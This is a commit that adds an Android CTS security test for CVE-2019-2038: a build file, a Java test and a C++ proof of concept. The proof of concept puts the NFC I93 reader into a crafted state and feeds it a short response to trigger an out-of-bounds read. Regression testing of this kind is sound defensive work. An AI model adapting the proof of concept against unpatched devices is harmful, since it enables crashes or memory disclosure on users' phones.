CTS test for Android Security b/121259048

Bug: 121259048
Bug: 129358301
Test: Ran the new testcase on android-9.0.0_r39 to test with/without patch

Change-Id: I8c222631b0b3c495cd44d6b9b3fcc04cb16a11c5
(cherry picked from commit 163667b0c510a3cf4d10bbb299e3ceb5e1f963a5)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2038/Android.bp
new file mode 100644
index 0000000..d343438
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2038/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2019-2038",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+        "libchrome",
+        "libbase",
+        "liblog"
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2038/poc.cpp
new file mode 100644
index 0000000..4f6aa95
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2038/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <tags_defs.h>
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+int main() {
+    tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+    GKI_init();
+    rw_init();
+
+    uint8_t p_uid = 1;
+    if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+        return EXIT_FAILURE;
+    }
+
+    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+    tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+    if (!p_data) {
+        return EXIT_FAILURE;
+    }
+
+    p_data->data.p_data = (NFC_HDR*)malloc(sizeof(NFC_HDR));
+    if (!(p_data->data.p_data)) {
+        free(p_data);
+        return EXIT_FAILURE;
+    }
+
+    p_i93->state = RW_I93_STATE_BUSY;
+    p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+    p_i93->block_size = I93_MAX_BLOCK_LENGH - 1;
+    p_i93->sent_cmd = I93_CMD_GET_SYS_INFO;
+    p_data->status = NFC_STATUS_OK;
+
+    NFC_HDR* p_resp = (NFC_HDR*)p_data->data.p_data;
+    p_resp->len = 1;
+    p_resp->offset = 0;
+
+    p_cb->p_cback(0, event, p_data);
+    free(p_data->data.p_data);
+    free(p_data);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
new file mode 100644
index 0000000..832bfdc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2038 extends SecurityTestCase {
+
+    /**
+     * b/121259048
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-04")
+    @Test
+    public void testPocCVE_2019_2038() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2038", null, getDevice());
+    }
+}